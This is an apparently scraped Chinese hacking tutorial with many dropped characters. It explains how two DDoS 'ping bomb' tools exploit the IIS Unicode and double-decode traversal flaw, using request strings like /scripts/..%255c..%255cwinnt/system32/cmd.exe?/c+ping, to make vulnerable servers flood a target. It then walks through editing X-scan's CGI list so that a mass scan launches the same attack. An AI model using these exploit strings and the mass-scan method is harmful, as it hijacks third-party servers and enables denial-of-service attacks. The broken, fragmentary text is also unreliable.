、从这里说起、、开始
时候
不能不说说两款影响力很大DDoS Ping炸弹工具
个是蜗牛炸弹个是AhBomb蜗牛炸弹出来
很早通过实现搜索有漏洞服务器做好储备呵呵需要时候通过控制这些有漏洞
服务器集中 Ping 攻击目标机导致目标网络速度变慢达到DDoS攻击目AhBomb是bigball写
款更强大攻击工具(呵呵这里很感谢他送给我无限制版)[IMGA]http://www.patching.net/abu/gongfang/hacking/easyddosping/1.g
[/IMGA]从本质上说
AhBomb实现思路方法和蜗牛炸弹没有什么区别但是由于
编写很优秀多线程部分写
特别完善而且缺省参数导致很可能会对被攻击者带来致命打击呵呵
还是分析
下吧:首先从蜗牛炸弹开始谈起
它有
个搜索过程搜索unicode漏洞主机然后将主机地址保存在Server.dll文件中在需要实施攻击
时候就调动所有服务器进行攻击我对
个虚拟目标 200.200.200.200 这个ip进行攻击却省配置下截获数据包:[IMGA]http://www.patching.net/abu/gongfang/hacking/easyddosping/2.g
[/IMGA]前面
部分Get /scripts/..%c1%1c../winnt/system32/cmd.exe?/c
是通过unicode编码
Windows服务器命令解释器去执行命令具体被执行
命令是:ping -l 65000 -n 500 200.200.200.200
这里解释如下:
ping
个发送测试数据包检测网络状况命令-l 64000 发送包含由64000字节数据量
ECHO 数据包-n 500 发送500遍 ECHO 请求数据包
200.200.200.200 目标ip
呵呵现在看
很清楚了吧也不用多说这些命令虽然简单
但由于ping命令使用只需要最低限度用户权限而具有unicode漏洞机器又非常多
这才会导致大量数据涌向处于是、、挂了我们来看看AhBomb做了些什么
[IMGA]http://www.patching.net/abu/gongfang/hacking/easyddosping/3.g
[/IMGA]前面
部分Get /scripts/..%%255c..%255cwinnt/system32/cmd.exe?/c
是通过unicode编码
Windows服务器命令解释器去执行命令比较新编码所以找到漏洞服务器应该会更多
具体被执行
命令是:ping 192.168.0.1 -t -i 255
这里解释如下:
ping
个发送测试数据包检测网络状况命令-t 不停
发送 ECHO 数据包是不停-i 255 TTL值设为255(最大)
192.168.0.1 目标
呵呵仔细看看它
参数和蜗牛炸弹区别具体体现在它并没有发送大数据包而仅仅是发送普通大小
包
很多网络设备会过滤大包标准格式反而才能真正被发送到目标这里附:(TTL:生存时间
指定数据报被路由器丢弃的前允许通过网段数量TTL 是由发送主机设置
以防止数据包不断在 IP 互联网络上永不终止地循环转发 IP 数据包时要求路由器至少将 TTL 减小 1
)2、
款经典扫描工具X-scanX-scan
安全焦点又力作从开始构想到现在全开放式结构设计这种执著精神难道不正是我们所追求
么？、、、重点从它
cgi扫描功能谈起选中Tools中
CGI列表维护功能可以看到其中列出了从Windows到各个版本Unix系统可能存在
cgi漏洞列表[IMGA]http://www.patching.net/abu/gongfang/hacking/easyddosping/4.g
[/IMGA]它是如何验证服务器是否存在漏洞？
命令解释器执行 dir 命令！换
换你思维模式用个hacker思维模式去想 dir 命令可以我们为什么不能其他命令呢？呵呵
这就是我要说
重点了如果我把
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+dir
替换成
/scripts/..%255c..%255cwinnt/system32/cmd.exe?/c+ping+-t+-i+255+-w+5+192.168.0.1
、、、
ping -t -i 255 -w 5 192.168.0.1
为什么用这个命令？
为了不被网络设备过滤掉
所以不发送大数据包为了能够让我们
数据包达到目标我们设置TTL值为255-w 5 参数
指定超时间隔为5毫秒不管对方返回信息是什么不停发呵呵这对些过滤ICMP包服务器还是很管用我打开cgi.lst文件
手工编辑其中内容经过测试目前打了SP2以后仍然会有编码漏洞
就是 IIS-DECODE 2次编码漏洞了我保留了两个最有可能
方式库整理如下:测试
目标ip为:192.168.0.1[IMGA]http://www.patching.net/abu/gongfang/hacking/easyddosping/5.g
[/IMGA]打开Tools中
CGI列表维护选择新修改后列表[IMGA]http://www.patching.net/abu/gongfang/hacking/easyddosping/6.g
[/IMGA]到这里
我们只要通过X-scan去大规模扫描cgi漏洞就可以实施对目标服务器DDoS Ping攻击了到最后
罗嗦下其实用任何个平台下cgi扫描工具稍作修改都可以实现我们目用X-scan做讲解是
它出色以及它在扫描cgi漏洞时候是支持代理服务器连接篇文章: GHOST V8.0 使用详解篇文章: 内幕惊曝:QQ2005初体验
最新评论